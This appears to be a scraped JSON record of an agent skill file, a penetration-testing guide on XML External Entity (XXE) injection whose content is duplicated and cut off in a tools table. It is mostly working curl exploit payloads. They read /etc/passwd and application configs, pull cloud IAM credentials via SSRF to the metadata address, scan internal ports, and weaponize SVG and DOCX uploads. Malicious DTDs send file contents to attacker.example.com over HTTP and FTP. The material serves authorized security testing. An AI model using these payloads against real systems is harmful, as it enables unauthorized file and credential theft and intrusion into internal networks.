[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HPC2CG34B8RX0AZ7A594XE":3,"skill-same:01M6HPC2CG34B8RX0AZ7A594XE":101},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":62,"commitSha":63,"skillDirectory":64,"forksCount":65,"repositoryHtmlUrl":66,"repositoryHomepageUrl":6,"ownerHtmlUrl":67,"ownerBlogUrl":6,"ownerDescription":68,"updatedAt":69,"install":70,"resources":83},"01M6HPC2CG34B8RX0AZ7A594XE","testing-for-xxe-injection-vulnerabilities",null,"Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftesting-for-xxe-injection-vulnerabilities\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"for","vulnerabilities","injection","testing","xxe","testing for xxe injection vulnerabilities","xml-injection","penetration","de","007","files","cm","read","t1505","owasp","ssrf","data","server","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-xxe-injection-vulnerabilities\ndescription: Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- xxe\n- xml-injection\n- owasp\n- web-security\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1048\ncategory: testing-for-xxe-injection-vulnerabilities\n---\n# Testing for XXE Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when the application processes XML input (SOAP APIs, file uploads, RSS feeds)\n- When testing APIs that accept `Content-Type: application\u002Fxml` or `text\u002Fxml`\n- For assessing XML parsers in file upload functionality (DOCX, XLSX, SVG, PDF)\n- When evaluating SOAP-based web services for entity injection\n- During security assessments of enterprise applications using XML configuration\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying XML requests\n- **XXEinjector**: Automated XXE exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fenjoiz\u002FXXEinjector.git`)\n- **Out-of-band server**: Burp Collaborator or interactsh for blind XXE detection\n- **curl**: For manual payload crafting and submission\n- **Python**: For building DTD hosting server\n\n## Workflow\n\n### Step 1: Identify XML Processing Points\n\nFind all application endpoints that accept or process XML data.\n\n```bash\n# Look for XML content types in Burp proxy history\n# Filter for: Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n\n# Test if JSON endpoints also accept XML\n# Original JSON request:\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"search\":\"test\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Try converting to XML:\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Csearch>test\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Check file upload endpoints for XML-based formats\n# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP\n# These all contain XML that may be parsed server-side\n\n# Check for SOAP endpoints\ncurl -s -X POST \\\n  -H \"Content-Type: text\u002Fxml\" \\\n  -H \"SOAPAction: \\\"\\\"\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\u003Csoap:Body>\u003Ctest\u002F>\u003C\u002Fsoap:Body>\u003C\u002Fsoap:Envelope>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\u002Fservice\"\n```\n\n### Step 2: Test for Basic XXE with File Retrieval\n\nInject XML entities to read local files from the server.\n\n```bash\n# Basic XXE payload to read \u002Fetc\u002Fpasswd\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Windows file read\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Read application configuration files\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# PHP filter wrapper for base64 encoding (avoids XML parsing errors)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n```\n\n### Step 3: Test Blind XXE with Out-of-Band Detection\n\nWhen the entity value is not reflected in the response, use out-of-band techniques.\n\n```bash\n# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)\n# Start interactsh: interactsh-client\n# Use the generated domain: abc123.oast.fun\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fabc123.oast.fun\u002Fxxe-test\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Check interactsh\u002FCollaborator for incoming DNS or HTTP requests\n\n# Blind XXE with DNS exfiltration\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-confirmed.abc123.oast.fun\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Blind XXE via parameter entities (when regular entities are blocked)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fabc123.oast.fun\u002Fxxe-param\">\n  %xxe;\n]>\n\u003Croot>\u003Csearch>test\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n```\n\n### Step 4: Exfiltrate Data via Out-of-Band XXE\n\nUse external DTD to extract file contents through HTTP requests.\n\n```bash\n# Host a malicious DTD file on attacker server\n# Create file: evil.dtd\ncat > \u002Ftmp\u002Fevil.dtd \u003C\u003C 'EOF'\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker.example.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\nEOF\n\n# Host the DTD\ncd \u002Ftmp && python3 -m http.server 8888 &\n\n# Send the XXE payload referencing the external DTD\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.example.com:8888\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Croot>\u003Csearch>test\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# For multi-line file exfiltration, use FTP protocol\n# evil-ftp.dtd:\ncat > \u002Ftmp\u002Fevil-ftp.dtd \u003C\u003C 'EOF'\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'ftp:\u002F\u002Fattacker.example.com\u002F%file;'>\">\n%eval;\n%exfil;\nEOF\n\n# Use xxeserv or similar FTP listener to capture multi-line output\n# python3 xxeserv.py --ftp --port 2121\n```\n\n### Step 5: Test XXE via File Uploads\n\nTest XML parsing in document upload functionality.\n\n```bash\n# SVG file with XXE\ncat > \u002Ftmp\u002Fxxe.svg \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"200\" height=\"200\">\n  \u003Ctext x=\"0\" y=\"20\">&xxe;\u003C\u002Ftext>\n\u003C\u002Fsvg>\nEOF\n\n# Upload the SVG\ncurl -s -X POST \\\n  -F \"file=@\u002Ftmp\u002Fxxe.svg;type=image\u002Fsvg+xml\" \\\n  -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fupload\u002Favatar\"\n\n# DOCX file with XXE (DOCX is a ZIP containing XML files)\nmkdir -p \u002Ftmp\u002Fxxe-docx\ncd \u002Ftmp\u002Fxxe-docx\n# Unzip a legitimate .docx file\nunzip \u002Ftmp\u002Ftemplate.docx -d \u002Ftmp\u002Fxxe-docx\n\n# Inject XXE into [Content_Types].xml or document.xml\n# Add DTD with external entity to document.xml\n# Repackage: cd \u002Ftmp\u002Fxxe-docx && zip -r \u002Ftmp\u002Fmalicious.docx *\n\n# XLSX with XXE (same technique as DOCX)\n# Inject into xl\u002FsharedStrings.xml or [Content_Types].xml\n```\n\n### Step 6: Test XXE for Server-Side Request Forgery (SSRF)\n\nUse XXE to make the server send requests to internal services.\n\n```bash\n# SSRF via XXE to cloud metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Internal port scanning via XXE\nfor port in 22 80 443 3306 5432 6379 8080 8443 9200; do\n  echo -n \"Port $port: \"\n  curl -s -X POST --max-time 5 \\\n    -H \"Content-Type: application\u002Fxml\" \\\n    -d \"\u003C?xml version=\\\"1.0\\\"?>\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \\\"http:\u002F\u002F127.0.0.1:$port\u002F\\\">]>\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\" | head -c 100\n  echo\ndone\n\n# Access internal services\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-admin.local:8080\u002Fadmin\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **XML External Entity** | An entity defined in a DTD that references external resources via SYSTEM or PUBLIC keywords |\n| **DTD (Document Type Definition)** | Defines the structure and legal elements of an XML document, including entity declarations |\n| **Internal Entity** | Entity defined with a value directly in the DTD (`\u003C!ENTITY name \"value\">`) |\n| **External Entity** | Entity that loads content from a URI (`\u003C!ENTITY name SYSTEM \"uri\">`) |\n| **Parameter Entity** | Entity used within the DTD itself, prefixed with `%` (`\u003C!ENTITY % name SYSTEM \"uri\">`) |\n| **Blind XXE** | XXE where entity values are not reflected in the response, requiring out-of-band exfiltration |\n| **Billion Laughs (DoS)** | Recursive entity expansion attack causing exponential memory consumption |\n| **XXE to SSRF** | Using XXE to make the server send HTTP requests to internal or external services |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception, modification, and Collaborator for OOB detection |\n| **XXEinjector** | Automated XXE exploitation with file exfiltration and SSRF capabilities |\n| **interactsh** | Out-of-band interaction server for detecting blind XXE callbacks |\n| **xxeserv** | Dedicated FTP\u002FHTTP server for XXE data exfiltration |\n| **OWASP ZAP** | Automated XXE scanning in active scan mode |\n| **DTD-Finder** | Discovers DTD files on the server for entity injection |\n\n## Common Scenarios\n\n### Scenario 1: SOAP API File Read\nA SOAP web service processes XML input without disabling external entities. Injecting a DTD with a SYSTEM entity in the SOAP body reads `\u002Fetc\u002Fpasswd` and returns it in the SOAP response.\n\n### Scenario 2: SVG Upload Blind XXE\nAn image upload feature accepts SVG files. The SVG is parsed server-side for thumbnail generation. Using a blind XXE payload in the SVG, server files are exfiltrated via out-of-band HTTP requests.\n\n### Scenario 3: JSON to XML Content-Type Switch\nA REST API primarily uses JSON but the XML parser is also enabled. Switching `Content-Type` to `application\u002Fxml` and sending an XXE payload exposes server files through the API response.\n\n### Scenario 4: DOCX Processing XXE\nA resume upload feature processes DOCX files. Injecting XXE into the `[Content_Types].xml` file within the DOCX archive triggers file read when the document is parsed server-side.\n\n## Output Format\n\n```\n## XXE Injection Finding\n\n**Vulnerability**: XML External Entity (XXE) Injection\n**Severity**: Critical (CVSS 9.1)\n**Location**: POST \u002Fapi\u002Fsearch (Content-Type: application\u002Fxml)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Reproduction Steps\n1. Send POST request to \u002Fapi\u002Fsearch with Content-Type: application\u002Fxml\n2. Include DTD with external entity: \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n3. Reference entity in XML body: \u003Csearch>&xxe;\u003C\u002Fsearch>\n4. Server returns file contents in the response\n\n### Confirmed Impact\n- Local file read: \u002Fetc\u002Fpasswd, \u002Fetc\u002Fhostname, application config files\n- SSRF: Accessed AWS metadata at 169.254.169.254\n- Internal network scanning: Identified internal services on ports 3306, 6379, 8080\n\n### Files Retrieved\n| File | Contents Summary |\n|------|-----------------|\n| \u002Fetc\u002Fpasswd | 42 user accounts, service accounts identified |\n| \u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php | Database credentials in plaintext |\n| \u002Fetc\u002Fhostname | Internal hostname: prod-web-01 |\n\n### Recommendation\n1. Disable external entity processing in the XML parser\n2. Disable DTD processing entirely if not required\n3. Use JSON instead of XML where possible\n4. Implement input validation to reject DTD declarations in XML input\n5. Apply least-privilege file system permissions for the web server user\n```\n","# Testing for XXE Injection Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when the application processes XML input (SOAP APIs, file uploads, RSS feeds)\n- When testing APIs that accept `Content-Type: application\u002Fxml` or `text\u002Fxml`\n- For assessing XML parsers in file upload functionality (DOCX, XLSX, SVG, PDF)\n- When evaluating SOAP-based web services for entity injection\n- During security assessments of enterprise applications using XML configuration\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying XML requests\n- **XXEinjector**: Automated XXE exploitation tool (`git clone https:\u002F\u002Fgithub.com\u002Fenjoiz\u002FXXEinjector.git`)\n- **Out-of-band server**: Burp Collaborator or interactsh for blind XXE detection\n- **curl**: For manual payload crafting and submission\n- **Python**: For building DTD hosting server\n\n## Workflow\n\n### Step 1: Identify XML Processing Points\n\nFind all application endpoints that accept or process XML data.\n\n```bash\n# Look for XML content types in Burp proxy history\n# Filter for: Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n\n# Test if JSON endpoints also accept XML\n# Original JSON request:\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"search\":\"test\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Try converting to XML:\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Csearch>test\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Check file upload endpoints for XML-based formats\n# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP\n# These all contain XML that may be parsed server-side\n\n# Check for SOAP endpoints\ncurl -s -X POST \\\n  -H \"Content-Type: text\u002Fxml\" \\\n  -H \"SOAPAction: \\\"\\\"\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Csoap:Envelope xmlns:soap=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\u003Csoap:Body>\u003Ctest\u002F>\u003C\u002Fsoap:Body>\u003C\u002Fsoap:Envelope>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\u002Fservice\"\n```\n\n### Step 2: Test for Basic XXE with File Retrieval\n\nInject XML entities to read local files from the server.\n\n```bash\n# Basic XXE payload to read \u002Fetc\u002Fpasswd\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Windows file read\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Read application configuration files\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# PHP filter wrapper for base64 encoding (avoids XML parsing errors)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n```\n\n### Step 3: Test Blind XXE with Out-of-Band Detection\n\nWhen the entity value is not reflected in the response, use out-of-band techniques.\n\n```bash\n# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)\n# Start interactsh: interactsh-client\n# Use the generated domain: abc123.oast.fun\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fabc123.oast.fun\u002Fxxe-test\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Check interactsh\u002FCollaborator for incoming DNS or HTTP requests\n\n# Blind XXE with DNS exfiltration\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-confirmed.abc123.oast.fun\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Blind XXE via parameter entities (when regular entities are blocked)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fabc123.oast.fun\u002Fxxe-param\">\n  %xxe;\n]>\n\u003Croot>\u003Csearch>test\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n```\n\n### Step 4: Exfiltrate Data via Out-of-Band XXE\n\nUse external DTD to extract file contents through HTTP requests.\n\n```bash\n# Host a malicious DTD file on attacker server\n# Create file: evil.dtd\ncat > \u002Ftmp\u002Fevil.dtd \u003C\u003C 'EOF'\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker.example.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\nEOF\n\n# Host the DTD\ncd \u002Ftmp && python3 -m http.server 8888 &\n\n# Send the XXE payload referencing the external DTD\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.example.com:8888\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Croot>\u003Csearch>test\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# For multi-line file exfiltration, use FTP protocol\n# evil-ftp.dtd:\ncat > \u002Ftmp\u002Fevil-ftp.dtd \u003C\u003C 'EOF'\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'ftp:\u002F\u002Fattacker.example.com\u002F%file;'>\">\n%eval;\n%exfil;\nEOF\n\n# Use xxeserv or similar FTP listener to capture multi-line output\n# python3 xxeserv.py --ftp --port 2121\n```\n\n### Step 5: Test XXE via File Uploads\n\nTest XML parsing in document upload functionality.\n\n```bash\n# SVG file with XXE\ncat > \u002Ftmp\u002Fxxe.svg \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"200\" height=\"200\">\n  \u003Ctext x=\"0\" y=\"20\">&xxe;\u003C\u002Ftext>\n\u003C\u002Fsvg>\nEOF\n\n# Upload the SVG\ncurl -s -X POST \\\n  -F \"file=@\u002Ftmp\u002Fxxe.svg;type=image\u002Fsvg+xml\" \\\n  -b \"session=abc123\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fupload\u002Favatar\"\n\n# DOCX file with XXE (DOCX is a ZIP containing XML files)\nmkdir -p \u002Ftmp\u002Fxxe-docx\ncd \u002Ftmp\u002Fxxe-docx\n# Unzip a legitimate .docx file\nunzip \u002Ftmp\u002Ftemplate.docx -d \u002Ftmp\u002Fxxe-docx\n\n# Inject XXE into [Content_Types].xml or document.xml\n# Add DTD with external entity to document.xml\n# Repackage: cd \u002Ftmp\u002Fxxe-docx && zip -r \u002Ftmp\u002Fmalicious.docx *\n\n# XLSX with XXE (same technique as DOCX)\n# Inject into xl\u002FsharedStrings.xml or [Content_Types].xml\n```\n\n### Step 6: Test XXE for Server-Side Request Forgery (SSRF)\n\nUse XXE to make the server send requests to internal services.\n\n```bash\n# SSRF via XXE to cloud metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n\n# Internal port scanning via XXE\nfor port in 22 80 443 3306 5432 6379 8080 8443 9200; do\n  echo -n \"Port $port: \"\n  curl -s -X POST --max-time 5 \\\n    -H \"Content-Type: application\u002Fxml\" \\\n    -d \"\u003C?xml version=\\\"1.0\\\"?>\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \\\"http:\u002F\u002F127.0.0.1:$port\u002F\\\">]>\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\" | head -c 100\n  echo\ndone\n\n# Access internal services\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-admin.local:8080\u002Fadmin\">\n]>\n\u003Croot>\u003Csearch>&xxe;\u003C\u002Fsearch>\u003C\u002Froot>' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fsearch\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **XML External Entity** | An entity defined in a DTD that references external resources via SYSTEM or PUBLIC keywords |\n| **DTD (Document Type Definition)** | Defines the structure and legal elements of an XML document, including entity declarations |\n| **Internal Entity** | Entity defined with a value directly in the DTD (`\u003C!ENTITY name \"value\">`) |\n| **External Entity** | Entity that loads content from a URI (`\u003C!ENTITY name SYSTEM \"uri\">`) |\n| **Parameter Entity** | Entity used within the DTD itself, prefixed with `%` (`\u003C!ENTITY % name SYSTEM \"uri\">`) |\n| **Blind XXE** | XXE where entity values are not reflected in the response, requiring out-of-band exfiltration |\n| **Billion Laughs (DoS)** | Recursive entity expansion attack causing exponential memory consumption |\n| **XXE to SSRF** | Using XXE to make the server send HTTP requests to internal or external services |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception, modification, and Collaborator for OOB detection |\n| **XXEinjector** | Automated XXE exploitation with file exfiltration and SSRF capabilities |\n| 